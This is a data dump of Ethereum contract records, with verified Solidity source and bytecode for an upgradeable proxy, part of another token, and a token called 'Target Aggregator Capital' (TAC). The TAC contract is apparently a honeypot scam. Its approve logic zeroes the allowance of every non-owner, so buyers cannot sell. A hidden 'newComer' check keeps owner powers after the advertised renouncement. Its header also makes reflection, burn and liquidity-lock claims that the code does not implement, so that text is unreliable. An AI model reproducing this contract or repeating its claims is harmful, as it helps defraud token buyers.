fffffffff1690602001909291908035906020019092919050505061123c565b6040518082815260200191505060405180910390f35b6107546004803603604081101561071e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061129c565b60405180821515815260200191505060405180910390f35b6107746112b3565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107b4578082015181840152602081019050610799565b50505050905090810190601f1680156107e15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6108316004803603602081101561080557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611351565b60405180821515815260200191505060405180910390f35b61088b6004803603602081101561085f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061140d565b005b610970600480360360608110156108a357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001906401000000008111156108ea57600080fd5b8201836020820111156108fc57600080fd5b8035906020019184600183028401116401000000008311171561091e57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192905050506114a9565b60405180821515815260200191505060405180910390f35b6109906115e5565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156109d05780820151818401526020810190506109b5565b50505050905090810190601f1680156109fd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610a6d60048036036040811015610a2157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611683565b6040518082815260200191505060405180910390f35b610ac560048036036020811015610a9957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061170a565b60405180821515815260200191505060405180910390f35b610b1f60048036036020811015610af357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061172a565b005b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663c68ae617338686866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff168152602001848152602001838152602001828152602001945050505050600060405180830381600087803b158015610bef57600080fd5b505af1158015610c03573d6000803e3d6000fd5b50505050610c323360008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1686611879565b50505050565b606060018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610cd05780601f10610ca557610100808354040283529160200191610cd0565b820191906000526020600020905b815481529060010190602001808311610cb357829003601f168201915b5050505050905090565b600080821480610d6657506000600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b610d6f57600080fd5b81600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600454905090565b600081600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610ef457600080fd5b81600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550610f89848484611879565b600190509392505050565b60086020528060005260406000206000915090505481565b6000600360009054906101000a900460ff16905090565b600360009054906101000a900460ff1681565b60045481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461103757600080fd5b6000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060009050919050565b6009602052816000526040600020602052806000526040600020600091509150505481565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461116157600080fd5b81600781905550819050919050565b60075481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112325780601f1061120757610100808354040283529160200191611232565b820191906000526020600020905b81548152906001019060200180831161121557829003601f168201915b5050505050905090565b60006112488383611acb565b3373ffffffffffffffffffffffffffffffffffffffff167fe3833cad7d2b62a57b31546765698888596a7671d178a6177e7235131b84fed0836040518082815260200191505060405180910390a292915050565b60006112a9338484611879565b6001905092915050565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156113495780601f1061131e57610100808354040283529160200191611349565b820191906000526020600020905b81548152906001019060200180831161132c57829003601f168201915b505050505081565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113ac57600080fd5b6001600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060019050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461146557600080fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000808490506114b98585610cda565b156115dc578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561156b578082015181840152602081019050611550565b50505050905090810190601f1680156115985780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1580156115ba57600080fd5b505af11580156115ce573d6000803e3d6000fd5b5050505060019150506115de565b505b9392505050565b60018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561167b5780601f106116505761010080835404028352916020019161167b565b820191906000526020600020905b81548152906001019060200180831161165e57829003601f168201915b505050505081565b6000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a6020528060005260406000206000915054906101000a900460ff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461178257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156117bc57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156118e257503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b6118eb57600080fd5b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481111561193757600080fd5b61198981600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8e90919063ffffffff16565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a1e81600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611da590919063ffffffff16565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b3360011515600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611b92576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f487964726f3a204275726e206572726f7200000000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611c18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611dc26021913960400191505060405180910390fd5b600754821015611c73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611de36022913960400191505060405180910390fd5b611cc582600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8e90919063ffffffff16565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d1d82600454611d8e90919063ffffffff16565b600481905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3505050565b600082821115611d9a57fe5b818303905092915050565b600080828401905083811015611db757fe5b809150509291505056fe45524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a2045786365656473206d6178696d756d206275726e20616d6f756e74a2646970667358221220bb802c5ee77c3dd06dc83cd1372099d23b5e26b0becb7e70c84112f3ba19349664736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 9,620 |
0x29408f0ce14202e75a879fe6eb07511541869f79 | /**
*Submitted for verification at Etherscan.io on 2022-02-22
*/
/**
*Submitted for verification at Etherscan.io on 2021-05-17
*/
/**
*Submitted for verification at Etherscan.io on 2020-10-09
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
/**
* @title UpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title AdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal override virtual {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
} | 0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a26469706673582212200fffe80378c3d304940f79bed3c19404453e2d10ad2df2997073e0bcefb5455d64736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 9,621 |
0xa3c8ad4d1ffe686900e4100ca90dc9777ca24541 | /*
Welcome to Target Aggregator Capital, where our goal is to create a non-deflationary token that rewards holders with 10% reflection as they hold.
🌐 Website: Coming Soon
📲 Telegram: https://t.me/TargetAggregator
Fair Launch FAQs:
When is launch scheduled? Fair launching sometime between 2PM - 4PM EST
Will liqudity will be locked? Yes
Will contract ownership will be renounced? Yes
Any marketing plans? Yes have tier one partners retained, CG/CMC contacts on stand-by, Twitter/Reddit marketing plans established for days 2-5.
TOKENOMICS:
🎯 Initial Supply: 1,000,000,000,000
🎯 No Max Buy
🎯 Starting LP: 7 Ethereum
🎯60% of $TAC burned to 0x0dEaD
🎯10% of each buy goes to existing holders
🎯10% of each sell goes to staking fund utilizing various other blockchains
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract TAC is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 10* 10**12* 10**18;
string private _name = ' Target Aggregator Capital ';
string private _symbol = 'TAC';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
} | 0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610